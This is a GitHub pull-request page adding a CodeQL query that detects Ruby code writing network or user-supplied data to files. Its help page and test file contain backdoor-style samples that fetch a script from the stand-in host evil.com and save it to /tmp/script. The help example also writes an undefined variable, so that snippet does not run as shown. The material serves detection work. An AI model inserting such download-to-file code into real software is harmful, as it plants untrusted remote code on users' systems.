Skip to content

Ruby: Add rb/http-to-file-access query #8224

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 6 commits into from
Mar 22, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 8 additions & 0 deletions config/identical-files.json
Original file line number Diff line number Diff line change
Expand Up @@ -533,5 +533,13 @@
"TaintedFormatStringCustomizations Ruby/JS": [
"javascript/ql/lib/semmle/javascript/security/dataflow/TaintedFormatStringCustomizations.qll",
"ruby/ql/lib/codeql/ruby/security/TaintedFormatStringCustomizations.qll"
],
"HttpToFileAccessQuery JS/Ruby": [
"javascript/ql/lib/semmle/javascript/security/dataflow/HttpToFileAccessQuery.qll",
"ruby/ql/lib/codeql/ruby/security/HttpToFileAccessQuery.qll"
],
"HttpToFileAccessCustomizations JS/Ruby": [
"javascript/ql/lib/semmle/javascript/security/dataflow/HttpToFileAccessCustomizations.qll",
"ruby/ql/lib/codeql/ruby/security/HttpToFileAccessCustomizations.qll"
]
}
Original file line number Diff line number Diff line change
Expand Up @@ -4,10 +4,14 @@
* for adding your own.
*/

import javascript
import semmle.javascript.security.dataflow.RemoteFlowSources

/**
* Provides default sources, sinks and sanitizers for reasoning about
* writing user-controlled data to files, as well as extension points
* for adding your own.
*/
module HttpToFileAccess {
import HttpToFileAccessSpecific

/**
* A data flow source for writing user-controlled data to files.
*/
Expand All @@ -23,18 +27,6 @@ module HttpToFileAccess {
*/
abstract class Sanitizer extends DataFlow::Node { }

/**
* An access to a user-controlled HTTP request input, considered as a flow source for writing user-controlled data to files
*/
private class RequestInputAccessAsSource extends Source {
RequestInputAccessAsSource() { this instanceof HTTP::RequestInputAccess }
}

/** A response from a server, considered as a flow source for writing user-controlled data to files. */
private class ServerResponseAsSource extends Source {
ServerResponseAsSource() { this = any(ClientRequest r).getAResponseDataNode() }
}

/** A sink that represents file access method (write, append) argument */
class FileAccessAsSink extends Sink {
FileAccessAsSink() { exists(FileSystemWriteAccess src | this = src.getADataNode()) }
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -6,8 +6,7 @@
* `HttpToFileAccessCustomizations` should be imported instead.
*/

import javascript
import HttpToFileAccessCustomizations::HttpToFileAccess
private import HttpToFileAccessCustomizations::HttpToFileAccess

/**
* A taint tracking configuration for writing user-controlled data to files.
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
/**
* Provides imports and classes needed for `HttpToFileAccessQuery` and `HttpToFileAccessCustomizations`.
*/

import javascript
import semmle.javascript.security.dataflow.RemoteFlowSources
private import HttpToFileAccessCustomizations::HttpToFileAccess

/**
* An access to a user-controlled HTTP request input, considered as a flow source for writing user-controlled data to files
*/
private class RequestInputAccessAsSource extends Source {
RequestInputAccessAsSource() { this instanceof HTTP::RequestInputAccess }
}

/** A response from a server, considered as a flow source for writing user-controlled data to files. */
private class ServerResponseAsSource extends Source {
ServerResponseAsSource() { this = any(ClientRequest r).getAResponseDataNode() }
}
40 changes: 39 additions & 1 deletion ruby/ql/lib/codeql/ruby/Concepts.qll
Original file line number Diff line number Diff line change
Expand Up @@ -290,6 +290,44 @@ module HTTP {
}
}

/**
* An access to a user-controlled HTTP request input. For example, the URL or body of a request.
* Instances of this class automatically become `RemoteFlowSource`s.
*
* Extend this class to refine existing API models. If you want to model new APIs,
* extend `RequestInputAccess::Range` instead.
*/
class RequestInputAccess extends DataFlow::Node instanceof RequestInputAccess::Range {
/**
* Gets a string that describes the type of this input.
*
* This is typically the name of the method that gives rise to this input.
*/
string getSourceType() { result = super.getSourceType() }
}

/** Provides a class for modeling new HTTP request inputs. */
module RequestInputAccess {
/**
* An access to a user-controlled HTTP request input.
*
* Extend this class to model new APIs. If you want to refine existing API models,
* extend `RequestInputAccess` instead.
*/
abstract class Range extends DataFlow::Node {
/**
* Gets a string that describes the type of this input.
*
* This is typically the name of the method that gives rise to this input.
*/
abstract string getSourceType();
}
}

private class RequestInputAccessAsRemoteFlowSource extends RemoteFlowSource::Range instanceof RequestInputAccess {
override string getSourceType() { result = this.(RequestInputAccess).getSourceType() }
}

/**
* A function that will handle incoming HTTP requests.
*
Expand Down Expand Up @@ -343,7 +381,7 @@ module HTTP {
}

/** A parameter that will receive parts of the url when handling an incoming request. */
private class RoutedParameter extends RemoteFlowSource::Range, DataFlow::ParameterNode {
private class RoutedParameter extends RequestInputAccess::Range, DataFlow::ParameterNode {
RequestHandler handler;

RoutedParameter() { this.getParameter() = handler.getARoutedParameter() }
Expand Down
5 changes: 3 additions & 2 deletions ruby/ql/lib/codeql/ruby/frameworks/ActionController.qll
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@ private import codeql.ruby.ast.internal.Module
private import codeql.ruby.ApiGraphs
private import ActionView
private import codeql.ruby.frameworks.ActionDispatch
private import codeql.ruby.Concepts

/**
* A `ClassDeclaration` for a class that extends `ActionController::Base`.
Expand Down Expand Up @@ -126,7 +127,7 @@ abstract class ParamsCall extends MethodCall {
* A `RemoteFlowSource::Range` to represent accessing the
* ActionController parameters available via the `params` method.
*/
class ParamsSource extends RemoteFlowSource::Range {
class ParamsSource extends HTTP::Server::RequestInputAccess::Range {
ParamsSource() { this.asExpr().getExpr() instanceof ParamsCall }

override string getSourceType() { result = "ActionController::Metal#params" }
Expand All @@ -143,7 +144,7 @@ abstract class CookiesCall extends MethodCall {
* A `RemoteFlowSource::Range` to represent accessing the
* ActionController parameters available via the `cookies` method.
*/
class CookiesSource extends RemoteFlowSource::Range {
class CookiesSource extends HTTP::Server::RequestInputAccess::Range {
CookiesSource() { this.asExpr().getExpr() instanceof CookiesCall }

override string getSourceType() { result = "ActionController::Metal#cookies" }
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
/**
* Provides default sources, sinks and sanitizers for reasoning about
* writing user-controlled data to files, as well as extension points
* for adding your own.
*/

/**
* Provides default sources, sinks and sanitizers for reasoning about
* writing user-controlled data to files, as well as extension points
* for adding your own.
*/
module HttpToFileAccess {
import HttpToFileAccessSpecific

/**
* A data flow source for writing user-controlled data to files.
*/
abstract class Source extends DataFlow::Node { }

/**
* A data flow sink for writing user-controlled data to files.
*/
abstract class Sink extends DataFlow::Node { }

/**
* A sanitizer for writing user-controlled data to files.
*/
abstract class Sanitizer extends DataFlow::Node { }

/** A sink that represents file access method (write, append) argument */
class FileAccessAsSink extends Sink {
FileAccessAsSink() { exists(FileSystemWriteAccess src | this = src.getADataNode()) }
}
}
25 changes: 25 additions & 0 deletions ruby/ql/lib/codeql/ruby/security/HttpToFileAccessQuery.qll
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
/**
* Provides a taint tracking configuration for reasoning about writing user-controlled data to files.
*
* Note, for performance reasons: only import this file if
* `HttpToFileAccess::Configuration` is needed, otherwise
* `HttpToFileAccessCustomizations` should be imported instead.
*/

private import HttpToFileAccessCustomizations::HttpToFileAccess

/**
* A taint tracking configuration for writing user-controlled data to files.
*/
class Configuration extends TaintTracking::Configuration {
Configuration() { this = "HttpToFileAccess" }

override predicate isSource(DataFlow::Node source) { source instanceof Source }

override predicate isSink(DataFlow::Node sink) { sink instanceof Sink }

override predicate isSanitizer(DataFlow::Node node) {
super.isSanitizer(node) or
node instanceof Sanitizer
}
}
21 changes: 21 additions & 0 deletions ruby/ql/lib/codeql/ruby/security/HttpToFileAccessSpecific.qll
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
/**
* Provides imports and classes needed for `HttpToFileAccessQuery` and `HttpToFileAccessCustomizations`.
*/

import ruby
import codeql.ruby.DataFlow
import codeql.ruby.dataflow.RemoteFlowSources
import codeql.ruby.Concepts
import codeql.ruby.TaintTracking
private import HttpToFileAccessCustomizations::HttpToFileAccess

/**
* An access to a user-controlled HTTP request input, considered as a flow source for writing user-controlled data to files
*/
private class RequestInputAccessAsSource extends Source instanceof HTTP::Server::RequestInputAccess {
}

/** A response from an outgoing HTTP request, considered as a flow source for writing user-controlled data to files. */
private class HttpResponseAsSource extends Source {
HttpResponseAsSource() { this = any(HTTP::Client::Request r).getResponseBody() }
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
---
category: newQuery
---
* Added a new query, `rb/http-to-file-access`. The query finds cases where data from remote user input is written to a file.
43 changes: 43 additions & 0 deletions ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.qhelp
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
<!DOCTYPE qhelp PUBLIC
"-//Semmle//qhelp//EN"
"qhelp.dtd">
<qhelp>

<overview>
<p>
Storing user-controlled data on the local file system without
further validation allows arbitrary file upload, and may be
an indication of malicious backdoor code that has been
implanted into an otherwise trusted code base.
</p>
</overview>

<recommendation>
<p>
Examine the highlighted code closely to ensure that it is
behaving as intended.
</p>
</recommendation>

<example>
<p>
The following example shows backdoor code that downloads data
from the URL <code>https://evil.com/script</code>, and stores
it in the local file <code>/tmp/script</code>.
</p>

<sample src="examples/http_to_file_access.rb"/>

<p>
Other parts of the program might then assume that since
<code>/tmp/script</code> is a local file its contents can be
trusted, while in fact they are obtained from an untrusted
remote source.
</p>
</example>

<references>
<li>OWASP: <a href="https://www.owasp.org/index.php/Trojan_Horse">Trojan Horse</a>.</li>
<li>OWASP: <a href="https://www.owasp.org/index.php/Unrestricted_File_Upload">Unrestricted File Upload</a>.</li>
</references>
</qhelp>
21 changes: 21 additions & 0 deletions ruby/ql/src/queries/security/cwe-912/HttpToFileAccess.ql
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
/**
* @name Network data written to file
* @description Writing network data directly to the file system allows arbitrary file upload and might indicate a backdoor.
* @kind path-problem
* @problem.severity warning
* @security-severity 6.3
* @precision medium
* @id rb/http-to-file-access
* @tags security
* external/cwe/cwe-912
* external/cwe/cwe-434
*/

import ruby
import codeql.ruby.DataFlow
import codeql.ruby.DataFlow::DataFlow::PathGraph
import codeql.ruby.security.HttpToFileAccessQuery

from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "$@ flows to file system", source.getNode(), "Untrusted data"
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
require "net/http"

resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body)
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
edges
| http_to_file_access.rb:3:8:3:52 | call to body : | http_to_file_access.rb:5:12:5:15 | resp |
| http_to_file_access.rb:9:16:9:21 | call to params : | http_to_file_access.rb:9:16:9:30 | ...[...] : |
| http_to_file_access.rb:9:16:9:30 | ...[...] : | http_to_file_access.rb:11:18:11:23 | script |
nodes
| http_to_file_access.rb:3:8:3:52 | call to body : | semmle.label | call to body : |
| http_to_file_access.rb:5:12:5:15 | resp | semmle.label | resp |
| http_to_file_access.rb:9:16:9:21 | call to params : | semmle.label | call to params : |
| http_to_file_access.rb:9:16:9:30 | ...[...] : | semmle.label | ...[...] : |
| http_to_file_access.rb:11:18:11:23 | script | semmle.label | script |
subpaths
#select
| http_to_file_access.rb:5:12:5:15 | resp | http_to_file_access.rb:3:8:3:52 | call to body : | http_to_file_access.rb:5:12:5:15 | resp | $@ flows to file system | http_to_file_access.rb:3:8:3:52 | call to body | Untrusted data |
| http_to_file_access.rb:11:18:11:23 | script | http_to_file_access.rb:9:16:9:21 | call to params : | http_to_file_access.rb:11:18:11:23 | script | $@ flows to file system | http_to_file_access.rb:9:16:9:21 | call to params | Untrusted data |
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
queries/security/cwe-912/HttpToFileAccess.ql
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
require "net/http"

resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(resp) # BAD

class ExampleController < ActionController::Base
def example
script = params[:script]
file = File.open("/tmp/script", "w")
file.write(script) # BAD
end

def example2
a = "a"
file = File.open("/tmp/script", "w")
file.write(a) # GOOD
end
end